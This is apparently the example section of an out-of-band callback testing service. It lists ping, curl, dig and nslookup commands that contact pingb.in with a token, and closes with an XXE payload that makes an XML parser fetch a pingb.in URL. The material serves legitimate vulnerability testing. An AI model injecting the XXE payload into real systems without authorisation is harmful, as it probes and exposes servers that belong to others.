$ ping -c1 -p 00d2db43aafb04a80643f74392a3a900 pingb.in
 

$ curl pingb.in/p/d2db43aafb04a80643f74392a3a9
 

$ dig d2db43aafb04a80643f74392a3a9 @pingb.in
 

$ dig d2db43aafb04a80643f74392a3a9.ns.pingb.in
 

C:\> nslookup d2db43aafb04a80643f74392a3a9 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d2db43aafb04a80643f74392a3a9">]>
    <foo>&xxe;</foo>